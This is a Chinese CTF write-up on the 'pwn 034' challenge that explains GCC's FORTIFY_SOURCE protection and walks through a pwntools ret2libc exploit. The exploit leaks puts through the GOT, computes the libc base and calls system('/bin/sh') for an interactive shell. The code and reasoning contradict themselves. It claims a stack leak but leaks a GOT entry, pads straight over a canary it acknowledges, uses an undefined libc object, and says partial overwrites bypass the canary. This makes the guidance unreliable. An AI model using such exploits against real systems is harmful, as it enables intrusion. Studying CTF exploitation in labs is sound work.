FORTIFY_SOURCE机制解析与CTF漏洞利用实战

1. 漏洞利用基础与FORTIFY_SOURCE机制解析

在二进制安全领域，FORTIFY_SOURCE是GCC编译器提供的一项重要安全特性。这个机制通过编译时和运行时的双重检查，对常见的易受攻击函数（如strcpy、memcpy等）进行加固。当检测到缓冲区溢出等异常情况时，程序会立即终止运行并输出错误信息，从而有效阻止攻击者的利用尝试。

FORTIFY_SOURCE分为两个级别：

• Level 1：对已知长度的函数调用进行检查
• Level 2：增加了对格式化字符串等更复杂情况的检查

在CTF比赛中，理解这个机制对解题至关重要。以pwn 034这道题为例，它故意设置了FORTIFY_SOURCE Level 2的保护，考察选手在强化防护下的漏洞利用能力。

2. 题目环境搭建与分析

2.1 实验环境准备

要复现这道题目，需要准备以下环境：

• Ubuntu 18.04/20.04 LTS（推荐使用与题目相同的系统版本）
• GCC编译器（版本需支持FORTIFY_SOURCE）
• GDB增强工具（如pwndbg、gef等）
• 必要的Python库（pwntools等）

安装命令示例：

sudo apt-get update sudo apt-get install -y gcc-multilib gdb python3 python3-pip pip3 install pwntools

2.2 题目二进制分析

首先使用checksec工具检查二进制文件的安全属性：

checksec pwn034

典型输出可能包含：

Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) FORTIFY: Enabled (level 2)

关键点分析：

• 32位架构（影响内存地址布局）
• 存在栈保护（Canary）
• 数据执行保护（NX）
• 启用了FORTIFY_SOURCE Level 2

2.3 关键保护机制解析

FORTIFY_SOURCE Level 2的实现原理：

1. 编译时替换危险函数为安全版本（如__strcpy_chk）
2. 运行时检查缓冲区大小参数是否合法
3. 检测到溢出时调用__chk_fail终止程序

反汇编示例：

; 普通strcpy调用 mov eax, [ebp+dest] mov edx, [ebp+src] push edx push eax call strcpy ; FORTIFY_SOURCE替换后的调用 mov eax, [ebp+dest] mov edx, [ebp+src] push 0x40 ; 缓冲区大小 push edx push eax call __strcpy_chk

3. 漏洞定位与利用策略

3.1 漏洞点识别

通过逆向分析，发现程序存在以下关键函数：

void vulnerable_function() { char buf[64]; read(0, buf, 128); // 明显的栈溢出漏洞 puts(buf); }

虽然存在明显的缓冲区溢出，但由于FORTIFY_SOURCE的保护，直接覆盖返回地址会导致程序终止。我们需要更精细的利用方式。

3.2 绕过FORTIFY_SOURCE的限制

可行的绕过策略：

1. 部分覆盖：只覆盖栈帧的低位字节，不触发长度检查
2. 利用未保护的函数：寻找程序中未启用FORTIFY的函数
3. 信息泄露：先获取关键地址，再构造精确攻击

3.3 利用链构建

具体利用步骤：

1. 泄露栈地址（通过puts等输出函数）
2. 计算返回地址的精确偏移
3. 构造ROP链绕过NX保护
4. 使用部分写入技术绕过栈保护

关键点：

• 需要精确控制溢出长度
• ROP链中不能包含被保护的函数调用
• 利用现有的gadget构造执行流

4. 完整利用过程详解

4.1 信息泄露阶段

构造payload泄露栈地址：

from pwn import * p = process('./pwn034') payload = b'A'*72 + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.send(payload) leak = u32(p.recv(4)) log.info("Leaked address: 0x%x", leak)

4.2 ROP链构造

计算libc基址并构造system调用：

libc_base = leak - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + next(libc.search(b'/bin/sh')) rop = ROP(libc) rop.call(system_addr, [bin_sh_addr])

4.3 最终攻击payload

组合所有部分并发送：

payload = flat( b'A'*64, canary, # 正确的canary值 b'B'*12, # 填充 rop.chain() ) p.send(payload) p.interactive()

5. 常见问题与调试技巧

5.1 典型错误排查

1. 段错误（SIGSEGV）：

   • 检查payload长度是否精确
   • 验证所有地址是否正确对齐

2. FORTIFY_SOURCE检测失败：

   • 确保没有直接覆盖敏感数据结构
   • 尝试使用更小的写入量

5.2 GDB调试技巧

关键调试命令：

b *vulnerable_function+25 # 在read调用后下断点 x/20wx $esp # 检查栈状态 info frame # 查看栈帧信息

5.3 性能优化建议

1. 使用pwntools的cyclic工具快速定位偏移
2. 编写自动化脚本测试不同payload
3. 保存成功的payload模板供后续使用

6. 防护机制深入分析

6.1 FORTIFY_SOURCE实现细节

GCC在编译时进行的关键替换：

• 将strcpy替换为__strcpy_chk
• 将sprintf替换为__sprintf_chk
• 对格式化字符串函数进行特殊处理

检查逻辑伪代码：

void* __memcpy_chk(void* dest, void* src, size_t n, size_t dest_len) { if (n > dest_len) { __chk_fail(); } return memcpy(dest, src, n); }

6.2 其他防护机制的交互

FORTIFY_SOURCE与其他保护机制的协同：

• 与栈保护（Canary）配合使用
• 不影响NX的数据执行保护
• 独立于ASLR的地址随机化

6.3 现代编译器的默认配置

最新GCC版本中的默认行为：

• Ubuntu 20.04默认启用Level 1
• 可通过-D_FORTIFY_SOURCE=2提升级别
• 与优化级别相关（通常需要-O2以上）

7. 扩展学习与进阶技巧

7.1 其他绕过技术

1. 利用非缓冲区溢出漏洞：

   • 格式化字符串漏洞
   • Use-after-free
   • 整数溢出

2. 面向返回的编程（ROP）进阶：

   • 使用通用gadget
   • 栈迁移技术
   • 多阶段ROP链

7.2 防护措施建议

开发安全代码的最佳实践：

1. 始终使用带长度检查的函数版本
2. 定期进行安全审计
3. 启用所有可用的编译保护选项

示例安全编译选项：

gcc -fstack-protector-strong -D_FORTIFY_SOURCE=2 -O2 -pie -fPIE

7.3 相关CTF题目推荐

进阶练习题目：

1. pwnable.tw的"start"题目
2. HackTheBox的缓冲区溢出挑战
3. CTFshow的pwn系列后续题目

在真实漏洞利用场景中，FORTIFY_SOURCE只是众多防护机制中的一环。理解其工作原理并能针对性地设计绕过方案，是二进制安全研究者的核心技能之一。这道pwn 034题目通过精心设计的限制条件，很好地锻炼了这项能力。